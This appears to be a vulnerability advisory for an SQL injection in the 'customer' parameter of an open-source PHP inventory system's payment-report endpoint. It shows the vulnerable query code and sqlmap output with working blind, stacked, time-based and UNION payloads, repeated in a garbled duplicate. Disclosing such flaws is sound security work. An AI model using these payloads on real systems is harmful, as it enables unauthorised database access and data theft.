SQL injection vulnerability exists in customer parameter of app/ajax/search_sell_paymen_report.php file of inventory management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
require_once '../init.php';
    if (isset($_POST) && !empty($_POST)) {
        $issueData = $_POST['issuedate'];
        $customer = $_POST['customer'];
```

```php
<?php
    $stmt = $pdo->prepare("SELECT SUM(`payment_amount`) FROM `purchase_payment` WHERE `payment_date` BETWEEN '
    $issu_first_date' AND '$issu_end_date' AND `suppliar_id` = $customer");
    $stmt->execute();
    $res = $stmt->fetch(PDO::FETCH_NUM);
    echo $res[0];
```

```
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: customer (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: customer=1/(3*2-5) AND 8411=8411&issuedate=07/02/2023 - 07/31/2023

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: customer=1/(3*2-5);SELECT SLEEP(5)#&issuedate=07/02/2023 - 07/31/2023

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: customer=1/(3*2-5) AND (SELECT 8075 FROM (SELECT(SLEEP(5)))HIim)&issuedate=07/02/2023 - 07/31/2023

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: customer=1/(3*2-5) UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71626a7071,0x4b626f70496f794d656f69534c586d745652616969
506276706c436f42566548787a754247784769,0x7170627071)-- -&issuedate=07/02/2023 - 07/31/2023
---
```

“

Parameter: customer (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: customer=1/(3*2-5) AND 8411=8411&issuedate=07/02/2023 - 07/31/2023

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: customer=1/(3*2-5);SELECT SLEEP(5)#&issuedate=07/02/2023 - 07/31/2023

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: customer=1/(3*2-5) AND (SELECT 8075 FROM (SELECT(SLEEP(5)))HIim)&issuedate=07/02/2023 - 07/31/2023

Type: UNION query

Title: Generic UNION query (NULL) - 1 column

Payload: customer=1/(3*2-5) UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71626a7071,0x4b626f70496f794d656f69534c586d745652616

969506276706c436f42566548787a754247784769,0x7170627071)-- -&issuedate=07/02/2023 - 07/31/2023

“

Source Download：
https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html